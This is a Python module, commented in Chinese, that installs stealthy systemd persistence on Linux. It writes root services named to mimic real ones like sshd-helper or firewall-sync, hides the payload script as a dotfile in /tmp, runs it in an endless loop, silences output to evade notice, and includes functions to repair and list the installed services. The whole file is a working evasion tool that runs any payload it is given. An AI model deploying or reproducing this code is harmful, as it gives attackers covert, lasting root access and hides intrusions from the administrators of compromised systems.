#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
高级 Systemd 服务伪装权限维持模块
实现高隐蔽性的 systemd 服务伪装技术
"""

import os
import sys
import json
import random
import subprocess
import tempfile
import hashlib
import time
from typing import Dict, List, Optional, Tuple
from pathlib import Path
import uuid

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class SystemdAdvancedPersistenceModule(BasePersistenceModule):
    """高级 Systemd 服务伪装权限维持模块"""
    
    def __init__(self):
        super().__init__("systemd_advanced", ["linux"])
        self.module_name = "systemd_advanced"
        self.module_version = "2.0.0"
        self.supported_platforms = ["linux"]
        
        # 高级服务伪装名称（模仿真实系统服务）
        self.stealth_service_names = {
            'ssh_related': [
                'sshd-helper', 'ssh-keygen-monitor', 'ssh-config-sync',
                'openssh-update', 'ssh-security-check'
            ],
            'network_related': [
                'nginx-log-monitor', 'apache-status-check', 'network-health',
                'dns-cache-helper', 'firewall-sync'
            ],
            'system_related': [
                'kernel-module-check', 'hardware-monitor', 'system-integrity',
                'security-audit', 'performance-tuning'
            ],
            'logging_related': [
                'rsyslog-helper', 'logrotate-monitor', 'audit-sync',
                'journal-cleanup', 'log-analyzer'
            ]
        }
        
        # 真实系统服务依赖关系
        self.system_dependencies = {
            'ssh_related': ['sshd.service', 'network.target'],
            'network_related': ['network.target', 'NetworkManager.service'],
            'system_related': ['multi-user.target', 'systemd-modules-load.service'],
            'logging_related': ['rsyslog.service', 'systemd-journald.service']
        }
        
        # 服务描述模板
        self.service_descriptions = {
            'ssh_related': [
                'SSH daemon helper service for enhanced security',
                'OpenSSH configuration synchronization service',
                'SSH key management and monitoring daemon'
            ],
            'network_related': [
                'Network interface monitoring and optimization',
                'Web server log analysis and monitoring',
                'Network health check and reporting service'
            ],
            'system_related': [
                'System integrity verification service',
                'Hardware compatibility monitoring daemon',
                'Kernel module status verification'
            ],
            'logging_related': [
                'System log rotation and cleanup service',
                'Audit log synchronization daemon',
                'Journal maintenance and optimization'
            ]
        }
        
        # 服务位置策略
        self.service_locations = {
            PersistenceLevel.LOW: '/etc/systemd/system/',
            PersistenceLevel.MEDIUM: '/usr/lib/systemd/system/',
            PersistenceLevel.HIGH: '/lib/systemd/system/',
            PersistenceLevel.CRITICAL: '~/.config/systemd/user/'
        }
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署高级 systemd 服务伪装"""
        try:
            instance_id = str(uuid.uuid4())[:8]
            
            # 选择服务类别和名称
            service_category = self._select_service_category(config.stealth_level)
            service_name = self._generate_stealth_service_name(service_category, config.stealth_level)
            
            # 生成服务文件路径
            service_location = self._get_service_location(config.stealth_level)
            service_file = os.path.join(service_location, f"{service_name}.service")
            
            # 创建高级伪装的服务内容
            service_content = self._create_advanced_service_content(
                config, service_name, service_category, instance_id
            )
            
            # 创建服务文件
            os.makedirs(service_location, exist_ok=True)
            with open(service_file, 'w', encoding='utf-8') as f:
                f.write(service_content)
            
            # 设置适当的权限
            os.chmod(service_file, 0o644)
            
            # 重新加载 systemd 配置
            subprocess.run(['systemctl', 'daemon-reload'], 
                         capture_output=True, text=True)
            
            # 启用并启动服务
            subprocess.run(['systemctl', 'enable', service_name], 
                         capture_output=True, text=True)
            subprocess.run(['systemctl', 'start', service_name], 
                         capture_output=True, text=True)
            
            # 验证服务状态
            result = subprocess.run(['systemctl', 'is-active', service_name], 
                                  capture_output=True, text=True)
            
            if result.returncode == 0 and result.stdout.strip() == 'active':
                # 保存实例信息
                instance_info = {
                    'instance_id': instance_id,
                    'service_name': service_name,
                    'service_file': service_file,
                    'service_category': service_category,
                    'stealth_level': config.stealth_level,
                    'created_at': time.time(),
                    'payload': config.payload
                }
                
                self._save_instance_info(instance_id, instance_info)
                
                return PersistenceResult(
                    success=True,
                    instance_id=instance_id,
                    message=f"高级 systemd 服务伪装部署成功: {service_name}",
                    details={
                        'service_name': service_name,
                        'service_file': service_file,
                        'stealth_level': config.stealth_level
                    }
                )
            else:
                return PersistenceResult(
                    success=False,
                    message=f"服务启动失败: {service_name}",
                    details={'error': result.stderr}
                )
                
        except Exception as e:
            self.logger.error(f"部署高级 systemd 服务伪装失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"部署失败: {str(e)}"
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查服务状态"""
        try:
            instance_info = self._load_instance_info(instance_id)
            if not instance_info:
                return PersistenceResult(
                    success=False,
                    message="实例不存在"
                )
            
            service_name = instance_info['service_name']
            
            # 检查服务状态
            result = subprocess.run(['systemctl', 'is-active', service_name], 
                                  capture_output=True, text=True)
            
            is_active = result.returncode == 0 and result.stdout.strip() == 'active'
            
            # 检查服务是否启用
            enabled_result = subprocess.run(['systemctl', 'is-enabled', service_name], 
                                          capture_output=True, text=True)
            is_enabled = enabled_result.returncode == 0
            
            status = PersistenceStatus.ACTIVE if is_active else PersistenceStatus.INACTIVE
            
            return PersistenceResult(
                success=True,
                message=f"服务状态: {'活跃' if is_active else '非活跃'}",
                details={
                    'status': status,
                    'is_active': is_active,
                    'is_enabled': is_enabled,
                    'service_name': service_name
                }
            )
            
        except Exception as e:
            self.logger.error(f"检查服务状态失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"状态检查失败: {str(e)}"
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复服务"""
        try:
            instance_info = self._load_instance_info(instance_id)
            if not instance_info:
                return PersistenceResult(
                    success=False,
                    message="实例不存在"
                )
            
            service_name = instance_info['service_name']
            
            # 重新启动服务
            subprocess.run(['systemctl', 'restart', service_name], 
                         capture_output=True, text=True)
            
            # 确保服务启用
            subprocess.run(['systemctl', 'enable', service_name], 
                         capture_output=True, text=True)
            
            # 验证修复结果
            check_result = self.check_alive(instance_id)
            
            if check_result.success and check_result.details.get('is_active'):
                return PersistenceResult(
                    success=True,
                    message=f"服务修复成功: {service_name}"
                )
            else:
                return PersistenceResult(
                    success=False,
                    message=f"服务修复失败: {service_name}"
                )
                
        except Exception as e:
            self.logger.error(f"修复服务失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"修复失败: {str(e)}"
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理服务"""
        try:
            instance_info = self._load_instance_info(instance_id)
            if not instance_info:
                return PersistenceResult(
                    success=False,
                    message="实例不存在"
                )
            
            service_name = instance_info['service_name']
            service_file = instance_info['service_file']
            
            # 停止并禁用服务
            subprocess.run(['systemctl', 'stop', service_name], 
                         capture_output=True, text=True)
            subprocess.run(['systemctl', 'disable', service_name], 
                         capture_output=True, text=True)
            
            # 删除服务文件
            if os.path.exists(service_file):
                os.remove(service_file)
            
            # 重新加载 systemd 配置
            subprocess.run(['systemctl', 'daemon-reload'], 
                         capture_output=True, text=True)
            
            # 删除实例信息
            self._remove_instance_info(instance_id)
            
            return PersistenceResult(
                success=True,
                message=f"服务清理成功: {service_name}"
            )
            
        except Exception as e:
            self.logger.error(f"清理服务失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"清理失败: {str(e)}"
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有实例"""
        try:
            instances = []
            instance_dir = self._get_instance_dir()
            
            if os.path.exists(instance_dir):
                for filename in os.listdir(instance_dir):
                    if filename.endswith('.json'):
                        instance_id = filename[:-5]
                        instance_info = self._load_instance_info(instance_id)
                        if instance_info:
                            # 获取当前状态
                            status_result = self.check_alive(instance_id)
                            instance_info['current_status'] = status_result.details.get('status', 'unknown')
                            instances.append(instance_info)
            
            return instances
            
        except Exception as e:
            self.logger.error(f"列出实例失败: {e}")
            return []
    
    def _select_service_category(self, stealth_level: int) -> str:
        """根据隐蔽级别选择服务类别"""
        if stealth_level >= 8:
            # 最高隐蔽级别，选择 SSH 相关服务
            return 'ssh_related'
        elif stealth_level >= 6:
            # 高隐蔽级别，选择网络相关服务
            return 'network_related'
        elif stealth_level >= 4:
            # 中等隐蔽级别，选择系统相关服务
            return 'system_related'
        else:
            # 低隐蔽级别，选择日志相关服务
            return 'logging_related'
    
    def _generate_stealth_service_name(self, category: str, stealth_level: int) -> str:
        """生成隐蔽的服务名称"""
        base_names = self.stealth_service_names.get(category, ['system-helper'])
        base_name = random.choice(base_names)
        
        if stealth_level >= 8:
            # 最高级别：完全模仿真实服务名
            return base_name
        elif stealth_level >= 6:
            # 高级别：添加版本号或变体
            suffix = random.choice(['', '-v2', '-ng', '-enhanced'])
            return f"{base_name}{suffix}"
        else:
            # 中低级别：添加随机后缀
            suffix = random.randint(1, 99)
            return f"{base_name}-{suffix}"
    
    def _get_service_location(self, stealth_level: int) -> str:
        """根据隐蔽级别选择服务文件位置"""
        if stealth_level >= 8:
            return '/lib/systemd/system/'  # 最隐蔽，混在系统服务中
        elif stealth_level >= 6:
            return '/usr/lib/systemd/system/'  # 高隐蔽，包管理器位置
        elif stealth_level >= 4:
            return '/etc/systemd/system/'  # 中等隐蔽，管理员位置
        else:
            # 用户级服务
            user_dir = os.path.expanduser('~/.config/systemd/user/')
            return user_dir
    
    def _create_advanced_service_content(self, config: PersistenceConfig, 
                                       service_name: str, category: str, 
                                       instance_id: str) -> str:
        """创建高级伪装的服务内容"""
        
        # 选择依赖关系
        dependencies = self.system_dependencies.get(category, ['multi-user.target'])
        after_deps = ' '.join(dependencies)
        
        # 选择描述
        descriptions = self.service_descriptions.get(category, ['System service'])
        description = random.choice(descriptions)
        
        # 创建伪装的执行脚本
        script_content = self._create_stealth_script(config.payload, config.stealth_level)
        script_path = f"/tmp/.{service_name}-{instance_id}"
        
        with open(script_path, 'w', encoding='utf-8') as f:
            f.write(script_content)
        os.chmod(script_path, 0o755)
        
        # 根据隐蔽级别调整服务配置
        restart_policy = "on-failure" if config.stealth_level >= 6 else "always"
        restart_sec = random.randint(30, 300) if config.stealth_level >= 6 else 10
        
        # 日志重定向策略
        if config.stealth_level >= 8:
            # 最高级别：完全静默
            std_output = "null"
            std_error = "null"
        elif config.stealth_level >= 6:
            # 高级别：重定向到系统日志
            std_output = "journal"
            std_error = "journal"
        else:
            # 中低级别：默认输出
            std_output = "inherit"
            std_error = "inherit"
        
        service_content = f"""[Unit]
Description={description}
After={after_deps}
Wants={dependencies[0] if dependencies else 'multi-user.target'}

[Service]
Type=simple
ExecStart={script_path}
Restart={restart_policy}
RestartSec={restart_sec}
StandardOutput={std_output}
StandardError={std_error}
User=root
Group=root

[Install]
WantedBy=multi-user.target
"""
        
        return service_content
    
    def _create_stealth_script(self, payload: str, stealth_level: int) -> str:
        """创建隐蔽的执行脚本"""
        
        # 基础脚本模板
        script_template = f"""#!/bin/bash
# {random.choice(['System maintenance script', 'Configuration helper', 'Monitor daemon'])}

# 环境检查
if [ ! -d "/proc" ]; then
    exit 1
fi

# 主要功能
main() {{
    while true; do
        {payload}
        sleep {random.randint(60, 300)}
    done
}}

# 启动主功能
main &
wait
"""
        
        if stealth_level >= 8:
            # 最高级别：添加更多伪装代码
            stealth_code = """
# 系统状态检查
check_system() {
    ps aux > /dev/null 2>&1
    netstat -an > /dev/null 2>&1
    df -h > /dev/null 2>&1
}

# 定期检查
check_system
"""
            script_template = script_template.replace("# 主要功能", stealth_code + "\n# 主要功能")
        
        return script_template
    
    def _get_instance_dir(self) -> str:
        """获取实例信息存储目录"""
        instance_dir = os.path.expanduser('~/.systemd_advanced_instances')
        os.makedirs(instance_dir, exist_ok=True)
        return instance_dir
    
    def _save_instance_info(self, instance_id: str, info: Dict):
        """保存实例信息"""
        instance_dir = self._get_instance_dir()
        info_file = os.path.join(instance_dir, f"{instance_id}.json")
        with open(info_file, 'w', encoding='utf-8') as f:
            json.dump(info, f, indent=2, ensure_ascii=False)
    
    def _load_instance_info(self, instance_id: str) -> Optional[Dict]:
        """加载实例信息"""
        instance_dir = self._get_instance_dir()
        info_file = os.path.join(instance_dir, f"{instance_id}.json")
        if os.path.exists(info_file):
            try:
                with open(info_file, 'r', encoding='utf-8') as f:
                    return json.load(f)
            except Exception as e:
                self.logger.error(f"加载实例信息失败: {e}")
        return None
    
    def _remove_instance_info(self, instance_id: str):
        """删除实例信息"""
        instance_dir = self._get_instance_dir()
        info_file = os.path.join(instance_dir, f"{instance_id}.json")
        if os.path.exists(info_file):
            os.remove(info_file)


def create_module():
    """创建模块实例"""
    return SystemdAdvancedPersistenceModule()


if __name__ == "__main__":
    # 测试模块
    module = SystemdAdvancedPersistenceModule()
    
    # 创建测试配置
    config = PersistenceConfig(
        payload="echo 'Advanced systemd stealth test' >> /tmp/stealth_test.log",
        stealth_level=8
    )
    
    print("=== 高级 Systemd 服务伪装模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    
    # 测试部署
    result = module.deploy(config)
    print(f"部署结果: {result}")
    
    if result.success:
        instance_id = result.instance_id
        
        # 测试状态检查
        check_result = module.check_alive(instance_id)
        print(f"状态检查: {check_result}")
        
        # 列出实例
        instances = module.list_instances()
        print(f"实例列表: {instances}")
        
        # 清理测试
        # clean_result = module.clean(instance_id)
        # print(f"清理结果: {clean_result}")